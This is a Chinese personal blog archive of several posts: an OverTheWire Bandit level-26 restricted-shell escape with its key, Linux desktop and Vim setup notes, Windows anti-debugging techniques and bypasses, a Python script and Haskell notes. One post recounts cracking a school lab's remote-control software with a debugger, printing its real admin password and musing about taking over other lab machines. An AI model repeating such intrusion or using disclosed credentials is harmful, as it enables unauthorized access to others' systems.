这是 26 个 level 里面最有意思的一道题的, 可惜我没能做出来... 参考的答案是这个: overthewire-bandit-level-26

题干里说 bandit26 的 shell 并不是普通的 /bin/bash.

bandit25 的家目录下给出了 bandit26 的私钥, 登录上去只是打印出了 bandit26 的 ASCII Art 就退出了.

 _                     _ _ _   ___   __
| |                   | (_) | |__ / /
| |__   __ _ _ __   __| |_| |_   ) / /_
| '_ / _` | '_ / _` | | __| / / '_
| |_) | (_| | | | | (_| | | |_ / /| (_) |
|_.__/ \__,_|_| |_|\__,_|_|\__|____\___/

执行 cat /etc/passwd | grep bandit26 得到:

*bandit26*\ :x:11026:11026:bandit level 26:/home/\ *bandit26*\ :/usr/bin/showtext

(我到这里就卡住了)

发现 showtext 是一个 shell 脚本, 内容如下

#!/bin/sh

more ~/text.txt
exit 0

即 ssh 连上去后执行默认 shell, 用 more 打印出了 ~/text.txt 之后就退出了, 如图:

一连上就退出, 那我们怎么让它执行我们想要的命令呢? 直接用 ssh 的 -t + 命令是不行的, 这个命令不会被解释, 因为 bash 没有执行.

正确答案是通过 more.

more 在要输出的内容行数多于终端行数的时候会停下来, 等待你翻页, 所以我们把当前的终端调小, 差不多四行, 再次 shh 上去, more 就停下来了. (好脑洞)

在 more 里面按 v, 系统会调用默认的编辑器来编辑这个文件, 默认是 vi, 有了 vi, 就相当于有了一个终端.

在命令模式执行 :r /etc/bandit_pass/bandit26, 密码的内容就会被读入.

要打开 sh 的话, 可以:

:set shell sh=/bin/sh
:sh

这样就可以执行 wechall 拿分了:

key: 5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z

Arch Linux 折腾小记

2015-07-20T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

这几天一直在折腾 Arch Linux 上的桌面, 弄到今天终于差不多了. 先上张图:

以 XMonad 为 WM 的桌面

没有用 DE, WM 用的是 XMonad.

关于 XMonad 的默认快捷键, XMonad Guide Tour 这篇官方的这篇文档很容易看懂.

需要安装的包如下:

xmonad, xmonad-contrib
xmobar
dmenu
trayer trayer-srg^AUR
feh
scrot
compton

xmobar, 配置文件在.xmobarrc, 是个基于文字的状态栏, 可以显示从 stdin 接收到的内容, 也可以自己获取系统信息, 我这里的中文显示还有问题, 部分中文乱码, 应该是字体的锅.

2015-8-30: 使用 ArchLinux Wiki 中建议的字体, 效果良好. font = "xft:Bitstream Vera Sans Mono:size=9:bold:antialias=true"

dmenu 是个启动器, 功能比较简单, 所以不需要什么特殊的配置, 在 XMonad 里按mod + q触发.

trayer 是个系统托盘, 用来容纳各种图标, 启动选项如下:

2015-8-30: trayer 不支持多个屏幕, 建议使用 AUR 里的 trayer-srg^AUR

trayer --edge top --align right --widthtype percent --width 11 \
       --SetDockType true --SetPartialStrut true --transparent true --alpha 0 \
       --tint 0x000000 --expand true --heighttype pixel --height 17 --monitor primary

本来已经设置了 xmobar 占据屏幕的 90%, 而 trayer 占 10%, 不过这样仍然会在屏幕上留下间隙, 所以这里设置成占据屏幕的 11%.

feh 用来设置桌面背景, 设置背景很有必要, 如果不设置的话, 关闭窗口的时候不会有明显的反馈, 浮动窗口也会留下难看的拖影.

feh --bg-scale /home/la/Pictures/Wallpapers/blog-bg.jpg

scrot 截图的快捷键在 XMonad 的配置文件~/.xmonad/xmonad.hs里面绑定:

defaultConfig
`additionalKeys`
[ ( (controlMask, xK_Print)
  , spawn "sleep 0.2; scrot -s -e \'mv $f ~/Pictures/Screenshots/\'"
  )
, ((0, xK_Print), spawn "scrot -e \'mv $f ~/Pictures/Screenshots/\'")
]

-s参数可以让你自己选择截图的区域, 不过这个工具竟然没法指定图片的存放位置, 只能在截图后用-e 'mv $f ~/Pictures/Screenshots'把截图放到指定目录.

上面这些配置大多写在启动脚本startup.sh里, 每个命令后边都得加上一个&.

无线网络管理

为了更方便地连接无线网络, 安装如下包:

networkmanager
network-manager-applet
gnome-keyring

注意如果你之前连接无线网络用的是netctl的话, 记得把有关的服务给 disable 了, 因为 networkmanager 和他有冲突, 安装完后执行 NetworkManager 启动服务.

network-manager-applet 是 networkmanager 的前端.

似乎不安装 gnome-keyring的话就无法连上加密的无线网络.

IM

QQ

TM2013 可能是运行在 Wine 上表现最好的一个版本了, 我下载了邓攀打包的TM2013, 似乎没有预期中的 out of box, 字体不行, 密码输入也不行. 不过根据错误提示和 Arch Linux Wiki, 装了几个包就解决问题了.

➜  pacman -S lib32-ncurses lib32-mpg123
➜  winetrick riched20 ie6 mfc42 cjkfonts wenquanyi

其他

IRC 客户端用火狐的 ChatZilla
Telegram 客户端用 Cutegram, 得装 fcitx-qt5 才能正常输入, 另 TG 似乎已经被墙(手机上却仍然可以登录), Cutegram 无法登录, 挂个代理就行.
qTox 也还凑合, 主要是可以听歌.

GTK

默认的 gtk 界面在 XMonad 下相当地丑, 可以安装lxappearance来调整 GTK 的主题.

对于 Qt 程序, dolphin 有很好看的外观, 但是同为 kde-applications 的 konsole 的界面却依然很丑...

输入法:

在~/.xprofile中加入:

export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS="@im=fcitx"

并在启动脚本里启动 fcitx.

配置文件

上面有提到的全部配置文件参见:

SilverRainZ/dotfiles - Github

Vim 插件折腾记录

2015-07-02T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

今天考完计组, 有一个空闲的下午, 于是决定来配一配 vim, 装了几个插件, 记录如下:

首先我把本来 .vimrc 里所有对于 Windows 的特殊配置都删除了, 反正现在也不怎么用 Windows, 同时维护兼容两个平台的配置文件实在是麻烦.

fcitx.vim

这个是 ^{Render Report}

写的插件, 用来在普通模式关闭输入法, 插入模式自动恢复上次的输入法状态. (当然你用的得是 fctix)

从这里可以下载: fcitx.vim.

这个插件的安装很容易, 最简单的方式是直接把 so/fctix.vim 放到 .vim/plugin 目录下就好, 最好在 .vimrc 里加上一句: set ttimeoutlen=100

如果想要启用 Python 支持的话, 要加入一个环境变量:

export FCITX_SOCKET=/tmp/fcitx-remote.sock

不过我试了试发现报错: socket connection error, 就不去用它了.

Vundle

神器, 用来管理插件的插件, 可以从 GitHub, 其他 Git 服务器或者本地的 Git 目录获取并安装插件, 把 gmarik/Vundle.vim clone 到 .vim 下, 在 .vimrc 里添加如下内容:

set nocompatible              " be iMproved, required
filetype off                  " required

" set the runtime path to include Vundle and initialize
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
" alternatively, pass a path where Vundle should install plugins
"call vundle#begin('~/some/path/here')

" let Vundle manage Vundle, required
Plugin 'gmarik/Vundle.vim'

" All of your Plugins must be added before the following line
call vundle#end()            " required
filetype plugin indent on    " required
" To ignore plugin indent changes, instead use:
"filetype plugin on
"
" Brief help
" :PluginList       - lists configured plugins
" :PluginInstall    - installs plugins; append `!` to update or just :PluginUpdate
" :PluginSearch foo - searches for foo; append `!` to refresh local cache
" :PluginClean      - confirms removal of unused plugins; append `!` to auto-approve removal
"
" see :h vundle for more details or wiki for FAQ
" Put your non-Plugin stuff after this line

然后重启 :PluginInstall, 就安装好了, 如果想要添加新的插件, 在 Plugin '...' 那一句之后添加 Plugin '插件地址' 再 :PluginInstall 一下就好了. 对于在 GitHub 上的插件地址, 可以直接写 owner/repo-name 这样的形式.

PowerLine

漂亮的状态栏插件

在.vimrc 相应位置里加一句 Plugin 'Lokaltog/vim-powerline', 再 :PluginInstall, 加上如下配置:

" powerline
set nocompatible    " 不兼容 vi
set t_Co=256        " 终端颜色
set laststatus=2    " 显示状态栏
set encoding=utf8
let g:Powerline_symbols = 'compatible'
" 值为'fancy'的话,状态栏会有好看的箭头, 但是要打过补丁的字体, 太麻烦了

Nerdtree

文件浏览插件, 还是用 Vundle 安装.

" A tree explorer plugin for vim.
Plugin 'scrooloose/nerdtree'
" nerdtree
map <C-n> :NERDTreeToggle<CR>

YouCompleteMe

据说是最好的 C/C++ 补全插件? 这个安装略波折. 首先用 Vundle 安装:

" A code-completion engine for Vim
Plugin 'Valloric/YouCompleteMe'

安装时提示 YouCompleteMe unavailable: requires Vim compiled with Python 2.x support.

即我这个版本的 vim 编译时没有 Python 2 的支持, 可以用 vim --version 查看是否开启, 没有开启的话会有 -python 这一项.

openSUSE 默认源里的 vim 是没有编译入 Python 2 支持的, 所以得手动编译. (后来知道在 editor 源里有vim)

首先从 vim-7.4.tar.bz2 下载 vim 7.4 的源码, 解压.

删除原来的 vim

$ ~  zypper rm gvim
$ ~  zypper rm vim

先安装各种依赖包:

$ ~  zypper in python-devel
$ ~  zypper in ruby-devel
$ ~  zypper in lua-devel
$ ~  zypper in ncurses-devel
$ ~  zypper in libx11-devel

编译:

$ ~ ./configure --with-features=huge \
            --enable-rubyinterp  \
            --enable-pythoninterp \
            --with-python-config-dir=/usr/lib64/python2.7/config \
            --enable-perlinterp \
            --with-x \
            --enable-gui=gtk2 \
            --enable-cscope \
            --enable-luainterp \
            --enable-perlinterp \
            --enable-multibyte \
            --prefix=/usr \
            --enable-fail-if-missing
$ ~ make
$ ~ sudo make install

安装后就可以编译 YCM 了:

$ ~ zypper in llvm-clang cmake
$ ~ cd .vim/bundle/YouCompleteMe
$ ~ ./install.sh

安装完成.

截图一张:

Python 初试

2015-06-15T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

因为现在经常在三个系统(Win, openSUSE, Arch)之间切换, 一些软件的配置文件的部署成了问题, 每次都从一台机复制到另一台实在麻烦, 而且不知道哪台电脑上使用的配置是最新改动的.

所以后来就把配置文件托管到了GitCafe, 后来因为用不惯 GitCafe 的 web 界面, 还是在把配置文件放在 GitHub 上了: https://github.com/SilverRainZ/dotfiles (不过还是觉得更新这些配置文件的 Commit 太影响我的 ContributionsCalendar 了)

即使托管到 Github, 每次把文件拉下来都要复制到相应的位置上去, 依然麻烦, 所以就打算写个脚本来帮忙, 但是我并不会任何一门脚本 (Batch和Shell这些不跨平台的就算了...写起来又麻烦), 所以就现学现卖用 Python 试一试, 花了一个晚上, 写了个100来行的小脚本(有够慢的). https://github.com/SilverRainZ/dotfiles/blob/master/sync.py

脚本

这个脚本的功能很简单, 就是根据指定的参数, 把指定的配置从仓库中复制到用户目录(deploy), 或者把用户目录下的配置复制到仓库(collect).这样都能写100多行!

现在只支持我常用的三个软件的配置: vim, pentadacytl, zsh.

sync   -- a simple script used to sync profile
python sync.py [operation]
python sync.py [operation] [target]
operation:
    deploy   [target]: copy target's profiles form repo to local
    collect  [target]: copy target's profiles form local to repo
    push:    push profiles to reomote repo
    pull:    pull profiles form reomote repo
target:
    vim
    zsh
    pen(pentadactyl)
    all = vim + zsh + pen
require: python3 or above, git

缩进

Python 的一大特点就是用缩进来划分代码块, 这会让 if 的嵌套变得很不清晰, 偏偏又不提供 switch 语句或者 Pattern Matching, 所以代码中的各种 if 又省不了, 这个有点痛苦. 不过 if xx in [...] 这样的语法我倒是觉得挺好的, 避免了if a==xx || a == xxx || ... 这样的超长 if.

函数式特性

再跑一下题, 我在这学期看了 ^{Render Report}

的 ^{Render Report} , 自觉 Haskell 这门语言难以入门, 至今写过的代码也不过寥寥数行, 只能算是大概了解了他的语法, 却因此沾染上了一些「恶习」, 老想在其他语言里使用那些FP的语法特性, 或者是当用这些特定可以让代码更好的时候, 抱怨 xxx 怎么没有这个语法. 我自己都觉得有点可笑, 不过, Python 一定程度上满足了我这奇怪的要求.

高阶函数

很高兴 Python 里面提供了部分函数式语言的特性, 我在这个小脚本里用map用得很爽. sync.py 这个脚本是一个带参数运行的小工具, 需要输出 help 信息, 本来我是这样写的:

print('sync -- a simple script used to sync profile')
print('python sync.py [operation]')
print('python sync.py [operation] [target]')

有了map, 可以把所有的 help 信息放在一个 list 里面, 再用map对每个元素应用print:

helpstr = [ 'sync -- a simple script used to sync profile'
          , 'python sync.py [operation]'
          , 'python sync.py [operation] [target]'
          ]
list(map(print, helpstr))

注意这里不能直接map(print, helpstr), map返回一个generator, 而list()接受一个generator得到一个列表, 这样print才会得以执行.(大概是这样?)

map不仅在这里有用到, deploy和collect是两个相反的操作, 无非是把两个地址交换, 地址被存在一个二元组的列表里, 所以可以用map翻转:

if op == 'deploy':
    path = list(map(lambda x:(x[1],x[0]), path))

被弃用的元组参数解包

本来上面那个翻转元组的 lambda 在 Python 2+ 可以这么写:

lambda (a, b):(b, a)

类似模式匹配的写法感觉很不错, 可是不知道为什么在 3.0 中这个语法被移除了.

部分应用

map只能对 list 映射只有一个参数的函数, 在 Haskell 中我们可以用部分应用获得一个只需要一个参数的函数, 在 Python 中似乎不能直接做到, 但我们有折衷的办法:

def deploy(op, target):
# ...
list(map(lambda x: deploy(op,x),g_target[1:]))

用一个 lambda 来使得deploy对外只有一个参数.

库

Python 库大概是 Python 备受推崇的一个重要原因, 可惜我的脚本只是在做文件复制, 没有用到什么特别的库.

不过拜 Python 良好的跨平台能力, 我不需要为处理 Windows 和 Linux 下不同的文件操作各写一份代码, 只需要对路径做些处理就行了.

感觉好像什么都没写啊(摔...

几种简单的反调试方法

2015-05-19T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

这里面没有什么自己的东西, 都是从看雪的OD从零系列教程里看来的. 最近看到的几章都是讲反调试的, 虽然对其本质还没有去深入了解, 还是觉得应该先把这些记下来.

下面的一些信息是基于自己现有的知识推测出来的, 不一定对. 关于函数的说明, 都是基于MSDN的粗浅翻译, 要想了解更准确的信息, 请查阅MSDN.

0x0 利用IsDebuggerParent()

0x0.0 介绍

该函数检测程序是否正在被调试, 是的话返回1,否则返回0, 该函数位于Kernel32.dll中, 其代码如下:

mov eax, dword ptr fs:[0x18]
mov eax, dword ptr fs:[eax + 0x30]
movzx eax, byte ptr ds:[eax + 0x2]

fs寄存器指示了(并不是储存了)PEB(Process Environment Block)的地址, 因为GDT的关系,fs寄存器中储存的只是选择子而不是地址, 因此要从fs的0x18偏移处取一个指向自己的self指针(这一步实际上是可以省略的).

接下来从PEB的0x30偏移处取得NT_TIB结构的首地址, 该结构的0x2偏移处是BeingDebugged字段, 表示当前进程是否被调试, 因此通过这个函数可以检测调试器.

你可以在代码中直接使用IsDebuggerParent或者嵌入等价的汇编代码. 动态载入函数比直接引入好些.

0x0.1 栗子

#include <stdio.h>
#include <windows.h>

/* 内联汇编 */
int foo(){
    /* 这里的 movl %fs:30, %ebx 就相当于
     * mov eax, dword ptr fs:[0x18]
     * mov eax, dword ptr fs:[eax + 0x30]
     */
    asm("movl %fs:0x30, %ebx; movzx 2(%ebx), %eax");
}
/* 动态载入 */
int bar(){
 int result = 0;
 HINSTANCE kern_lib = LoadLibraryEx("kernel32.dll", NULL, 0);
    if(kern_lib){
        FARPROC lIsDebuggerPresent = GetProcAddress(kern_lib, "IsDebuggerPresent");
        if(lIsDebuggerPresent && lIsDebuggerPresent()){
            result = 1;
        }
        FreeLibrary(kern_lib);
    }
    return result;
}

/* 测试的时候记得关掉OD的插件, 或者直接用原版 */
int main(){
    printf("foo = %d\n",foo());
    printf("bar = %d\n",bar());
    return 0;
}

0x0.2 绕过

如果能定位到函数的话, 修改他的流程.
可以在载入程序后, 把那个BeingDebugged位置0, 当然, HideDebugger插件已经替我们做了这件事.

0x1 检测进程名I

0x1.0 介绍

通过检测特定调试器(常常是OD)的进程是否存在来防止被调试.

用到了下面几个API:

EnumProcesses

BOOL WINAPI EnumProcesses(
  _Out_ DWORD *pProcessIds,
  _In_  DWORD cb,
  _Out_ DWORD *pBytesReturned
);

EnumProcesses 枚举所有的进程PID, 第一个参数是缓冲区, 储存所有进程PID的列表, 参数二是以byte计数的数组长度, 参数三是阶收到的数组长度, 同样以byte计数. 函数执行成功返回非零值.

GetModuleBaseNameA

DWORD WINAPI GetModuleBaseName(
  _In_     HANDLE  hProcess,
  _In_opt_ HMODULE hModule,
  _Out_    LPTSTR  lpBaseName,
  _In_     DWORD   nSize
);

该函数取得某个模块的名称, 参数一是线程句柄, 参数二是模块句柄, 参数三是储存返回模块名的缓冲区, 最后是缓冲区的长度, 以char计数. 函数执行成功则返回接收到的模块名的长度

OpenProcess

HANDLE WINAPI OpenProcess(
  _In_ DWORD dwDesiredAccess,
  _In_ BOOL  bInheritHandle,
  _In_ DWORD dwProcessId
);

该函数通过PID(参数4)获得进程句柄失败则返回NULL. (获得句柄后可以在OD的H窗口看到该句柄).

EnumProcessModules

BOOL WINAPI EnumProcessModules(
  _In_  HANDLE  hProcess,
  _Out_ HMODULE *lphModule,
  _In_  DWORD   cb,
  _Out_ LPDWORD lpcbNeeded
);

函数枚举指定进程里的所有Modules, 取回句柄. 参数一指定了进程句柄, 参数二是返回的模块句柄缓冲区, 参数三是以byte计数的缓冲区大小, 四是最终取回句柄的大小, byte计数. 函数执行成功返回非零值.

利用这些函数检测调试器的经典过程是这样的:

首先用GetProcAddress动态载入上面的其他函数
调用EnumProcesses对所有进程进行枚举, 实际上是获得一个储存了所有进程PID的列表
以获取到的PID为参数调用OpenProcess, 取得进程句柄
用获取到的句柄执行EnumProcessModules枚举进程的模块, 只取第一个模块
使用进程句柄和模块句柄为参数调用GetModuleBaseNameA得到进程名
和要检测的进程名作比较, 这决定了程序的流程
如果是待检测进程的话, 选择自行退出或者是结束调试器, 可能用到TerminatePorcess
调用CloseHandle关闭句柄

0x1.1 栗子

//TODO

0x1.2 绕过

令OpenProcess始终返回NULL, 打不开任何进程.
改动OpenProcess后的程序流程
更改OD的名字, 进程名也会同时被更改;(最简单的做法了)

0x2 检测进程名II

0x2.0 介绍

使用的API:

CreateToolhelp32Snapshot

HANDLE WINAPI CreateToolhelp32Snapshot(
  _In_ DWORD dwFlags,
  _In_ DWORD th32ProcessID
);

该函数对指定的进程做快照, dwFlags参数决定进程的那一部分会被包含在快照中. 参数二为PID, 返回快照句柄. 指定参数 CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 则对系统中所有的进程进行快照, 可以被Process32First进行枚举.

Process32First

BOOL WINAPI Process32First(
  _In_    HANDLE           hSnapshot,
  _Inout_ LPPROCESSENTRY32 lppe
);

在快照中取得第一个进程的相关信息. 参数一: 由CreateToolhelp32Snapshot返回的快照句柄. 参数二: 指向PORCESSENTRY32结构体的指针, 包含可执行文件名, PID,和父进程PID等. 执行成功返回true.

Process32Next

BOOL WINAPI Process32Next(
  _In_  HANDLE           hSnapshot,
  _Out_ LPPROCESSENTRY32 lppe
);

取回快照中下一个进程的信息(然而你必须先用Process32First取第一个), 参数和Process32First基本相同.

Process32First和Process32Next中涉及到的PPROCESSENTRY32结构体如下:

PROCESSENTRY32 structure
typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  TCHAR     szExeFile[MAX_PATH];
} PROCESSENTRY32, *PPRO

最后一个参数就是进程名了好像.

利用该方法检测进程的基本流程是:

调用CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)获得所有进程快照
用Process32First取得第一个进程的信息, 判断是否是要检测的进程
用Process32Next循环检测其他进程

0x2.1 栗子

//TODO

0x2.2 绕过

绕过的做法基本同I.

检测窗口类名

0x3.0 介绍

又是API...

FindWindowA

HWND WINAPI FindWindow(
  _In_opt_ LPCTSTR lpClassName,
  _In_opt_ LPCTSTR lpWindowName
);

该函数取回和参数匹配的顶级窗口的句柄, 大小写不敏感.

参数一: 窗口类名参数二: 窗口名参数可选, 至少一个, 另一个可置NULL. 执行成功返回句柄.

因为OD的窗口名常常不确定, 利用窗口类名往往比较靠谱; 将窗口名置NULL, 检测OD的顶级窗体类名即可, 该类名可以通过Spy++得到.

0x3.1 栗子

//TODO

0x3.2 绕过

HideDebugger插件有绕过 FindWindowA/EnumWindows 的选项;
使用RE-Pair为OD主程序打补丁, 可更改其类名

0x3 UnhandledExcepiton和ZwQueryInformationProcess

这种反调试方法比前面的方法更具技巧性一些, 利用了Windows的异常处理机制, 但是我还不了解这些异常处理, 不敢胡说,暂时略过.

* SetUnhandledExceptionFilter ``c LPTOP_LEVEL_EXCEPTION_FILTER WINAPI SetUnhandledExceptionFilter( _In_ LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter ); `` 该函数让应用程序可以取代该进程中所有线程的系统异常处理函数.(大概是吧...) > Enables an application to supersede the top-level exception handler of each > thread of a process. 调用该函数后, 如果有异常发生, 且该进程当前没有被调试, 则该异常会被 `Unhandled Exception Filter`处理 , Filter会调用异常筛选(?)函数, 该函数由参数一指定. > After calling this function, if an exception occurs in a process that is not being debugged, > and the exception makes it to the unhandled exception filter, > that filter will call the exception filter function specified by the > lpTopLevelExceptionFilter parameter. * UnhandledExceptionFilter ``c LONG WINAPI UnhandledExceptionFilter( _In_ struct _EXCEPTION_POINTERS *ExceptionInfo ); `` 如果当前进程被调试的话, 程序定义的函数(?)会将未处理的异常传递给调试器. 否则, 它将可选地显示一个应用程序错误的消息框, 并使得异常处理函数执行. 该函数只能在异常处理例程中的Filter Expression中被调用. > An application-defined function that passes unhandled exceptions to the debugger, > if the process is being debugged. Otherwise, > it optionally displays an Application Error message box and causes the exception handler to be executed. > This function can be called only from within the filter expression of an exception handler. 该函数唯一的参数是一个`EXCEPTION_POINTERS`指针, 指定了对此异常的描述和发生异常时的上下文. > A pointer to an `EXCEPTION_POINTERS` structure that specifies a description > of the exception and the processor context at the time of the exception. > 发生异常时系统的处理顺序(by Jeremy Gordon, Hume): > 1. 系统首先判断异常是否应发送给目标程序的异常处理例程,如果决定应该发送, > 并且目标程序正在被调试,则系统挂起程序并向调试器发送`EXCEPTION_DEBUG_EVENT`消息. > 1. 如果你的程序没有被调试或者调试器未能处理异常, > 系统就会继续查找你是否安装了线程相关的异常处理例程, > 如果你安装了线程相关的异常处理例程,系统就把异常发送给你的程序seh处理例程, > 交由其处理. > 1. 每个线程相关的异常处理例程可以处理或者不处理这个异常, > 如果他不处理并且安装了多个线程相关的异常处理例程, 可交由链起来的其他例程处理. > 1. 如果这些例程均选择不处理异常,如果程序处于被调试状态,操作系统仍会再次挂起程序通知debugger. > 1. *如果程序未处于被调试状态或者debugger没有能够处理, > 并且你调用SetUnhandledExceptionFilter安装了最后异常处理例程的话,系统转向对它的调用.* > 1. *如果你没有安装最后异常处理例程或者他没有处理这个异常, > 系统会调用默认的系统处理程序(UnhandledExceptionFilter),通常显示一个对话框, > 你可以选择关闭或者最后将其附加到调试器上的调试按钮. > 如果没有调试器能被附加于其上或者调试器也处理不了,系统就调用ExitProcess终结程序.* > 1. 不过在终结之前,系统仍然对发生异常的线程异常处理句柄来一次展开, > 这是线程异常处理例程最后清理的机会. 利用这两个函数的流程可能是: 1. 当点击CM中的check按钮时, 程序抛出不可忽略的异常, 因为程序正在被调试, 所以系统将异常传递给调试器(EXCEPITON_DEBUG_EVENT), `SetUnhandledExceptionFilter`指定的异常处理函数并没有被执行 (实际上这个函数里放置的应该是程序的真正流程). 2. 然而OD并不能处理这个异常, 因此最终将调用`UnhandledExceptionFilter`处理异常. 在`UnhandledExceptionFilter`中有函数`ZwQueryInfomationProcess`, 可以用来判断程序是否被调试, 它是随着`UnhandledExceptionFilter`被调用(在系统领空中), 但是这个函数也可以单独抽取出来被调用. ``c NTSTATUS WINAPI ZwQueryInformationProcess( _In_ HANDLE ProcessHandle, _In_ PROCESSINFOCLASS ProcessInformationClass, _Out_ PVOID ProcessInformation, _In_ ULONG ProcessInformationLength, _Out_opt_ PULONG ReturnLength ); `` 取得特定进程的信息. 在这里只需要知道使ProcessInformationClass = ProcessDebugPort (7), 就可以从ProcessInformation缓冲区中取得ProcessInformationLength长度的信息, 返回FFFFFFFF的话表示正在被调试, 返回0反之. 对应上面步骤f的: 如果没有调试器能被附加于其上或者调试器也处理不了,系统就调用ExitProcess终结程序. 如果正在调试(返回FFFFFFF)的话->异常传递给调试器->调试器处理不了->程序退出. 按教程的说法和实际测试的得到: 如果返回0的话跳转到SetUnhandledExceptionFilter指定的函数, 利用异常实现了反调试. 可是执行SetUnhandledExceptionFilter指定的函数不是在步骤c吗, UnhandledExceptionFilter可是步骤6才执行的? ### 绕过 * 手动修改ZwQueryInformationProcess返回值 * HideDebugger插件的UnhandledExceptionTricks选项可以绕过此反调试. * HideOD插件可以单独绕过ZwQueryInformationProcess(记住勾选AutoRun)

0x4 NtGlobalFlag,ProcessHeap,OutputDebugStringA

这几个都比较简单, 从略.

NtGlobalFlag

该标志在PEB中,对于x86, 在0x68处对于x64, 在 0xbc 处.

定位到PEB:

在EIP入口点定位到EBP的值;
或者定位到FS:[0x18];

NtGlobalFlag 默认总是0, 除非它被一个调试器所附加. 当调试器创建一个进程时, NtGlobalFlag会有如下的值:

> FLG_HEAP_ENABLE_TAIL_CHECK (0x10)
> FLG_HEAP_ENABLE_FREE_CHECK (0x20)
> FLG_HEAP_VALIDATE_PARAMETERS (0x40)

因此, 如果NtGlobalFlag == 0x10 + 0x20 + 0x40 = 0x70时, 程序正在被调试.

ProcessHeap

在PEB的 0x10 偏移处的一个 DWORD, 不为0则表示正在被调试.

OutputDebugStringA

OutputDebugStringA是个函数, 该函数向调试器输出一个字符串, 它能用于反调试是因为OD的一个bug, 当用这个函数输出一长串的%s字串时, OD会崩溃.

0x4.1 栗子

无

0x4.2 绕过

修改对应的值
HideOD 插件的 HideNtDebugBit选项, 以及 OutDebugStringA 选项或 Hide Debugger插件的OutputDebugString exploit选项

记一次毫无技术含量的 Hack

2015-05-12T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

早上起晚了, 八点的汇编实验课七点三十五才起床, 起来抄完待会要交的作业然后去等公交, 大概八点二十分到机房, 老师并没有说什么.

这几天的心情不是太爽, 因此实验课没打算做作业. 然而桌面上有个OD, 就随便打开来看看了.

「学校的用的防护软件不会这么渣吧?」我是这样想的, 但不妨一试, 反正试了也不花钱.

系统是古旧的XP, 在托盘那里有SQLServer, 瑞星, 联想远程网络控制被控端, 联想硬盘保护工具(好像是这个名字), 因为是电脑联想品牌机, 所以后两个应该是买的时候送的, 点击退出硬盘保护工具, 一下子就能退出, 但这并没有什么卯用, 硬盘保护已经在系统启动前就先行启动了. 退出被控端需要管理员密码, 对这个密码我倒是有点兴趣, 用OD附加看看.

附加了并没有办法运行, 提示该线程被挂起或者线程终止. 但是在网络控制软件下有个小工具, 叫ChangeIP.exe, 使用它更改电脑的IP也需要密码, 挑这个软柿子捏好了. OD打开, 发现他是用MFC写的(有MFC的模块), 查看导入函数, 没有GetWindowText 或者是 GetDlgItem 之类的函数, 但是有 IsDebugPresent(), 有反调试, 所幸这个OD里插件齐全, 打开HideOD插件把所有绕过的选项勾上, 重启.

重启后, 程序正常地在OD里跑起来了. 到了输入密码这个窗口, 程序里并没有搜到什么有用的字符串, 那就内存断点吧. 随便输入一个密码, 然后回到内存窗口里搜索该密码...没有搜到. 那就点击确定->提示密码错误, 之后再搜索, 有了. 对该地址下内存断点. 再输入一次, 点击确定, 程序断下来了.

为什么说这是一次没有技术含量的Hack呢? 程序读取改地址的第一个字节, 写入 00(并不是我输入的值), 我并没有耐心分析他想做什么(当然分析了也不一定有结果), 所以直接F9让他继续执行, 继续触发断点, 果然瞎猫碰见死耗子了, F9几次后, 到了密码验证的环节了, esi寄存器里出现了一个字符串的地址 "jsjxxgmm" (教师教学修改密码?及时进行修改密码?), 八九不离十. 我重开了ChangeIP.exe, 输入这个字串, Accepted.

取得了这个密码除了脱离被控端外似乎没什么卯用, 但是整个机房的软件都是这个密码, 完全可以下载一个控制端软件, 通过这个对其他电脑进行控制(下次试试). 另外的很重要的一点是, 硬盘保护系统也是这个密码, 这样一来, 还原卡就失效了. 想往电脑里放什么就能放什么.

嗯, 大致如此.

do 记法和 >>= 的等效表达

2015-04-09T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

明明在开学的时候， ^{Render Report}

就只剩下三十来页了，但是还书日在即，我就到图书馆问阿姨能不能还了马上再借，这样做的结果是，书还在我手里，可是至今没看完。

当然这和后面的内容有点难有关系（岂止是有点难？！），本来脑子就不够用，看到State Monad那一段就懵了。

今晚看了挺久的，勉强算有点思路，当然对它的理解应该还是在一个比较low的水平上。就算是看了大半本书，知乎上对Haskell的讨论还是又非常多看不懂。

State Monad是一种函数，当然也是一种Monad，是一种带状态的计算，等待着一个状态，如果得到状态后会产生一个值和新的状态。

书里用栈作为例子，实现了push和pop，但是只提供了do记法的示例，自己尝试用>>=改写并没有成功。

State Monad对于bind(>>=)的一种解释是这样子的：来自：https://wiki.haskell.org/State_Monad

`>>=` :: State s a -> (a -> State s b) -> State s b
(act1 >>= fact2) s = runState act2 is
                where (iv,is) = runState act1 s
                      act2 = fact2 iv

可以看到>>=接受一个State，和一个生成State的函数，最后生成一个State，注意最后生成的这个State是一个函数，还需要一个状态。

act1是一个带状态计算，接受状态s后（不能直接接受，必须用runState「脱壳」）生成一个tuple，左边是值，右边是新的状态。从fact2的类型签名可以知道，act2是fact2应用值iv后得到的 带状态计算 。那么它还需要一个状态，这个>>=函数的最终值就是act2脱壳后应用新状态的值。

注意上面这段代码是表示了当带有>>=的运算遇到一个状态时所做的操作，似乎少了一个runState?

那么对于：

type Stack = [Int]

pop :: State Stack Int
pop = state $ \(x:xs) -> (x, xs)

push :: Int -> State Stack ()
push a = state $ \xs -> ((), a:xs)

test :: State Stack Int
test = do
    push 3
    push 4
    push 5
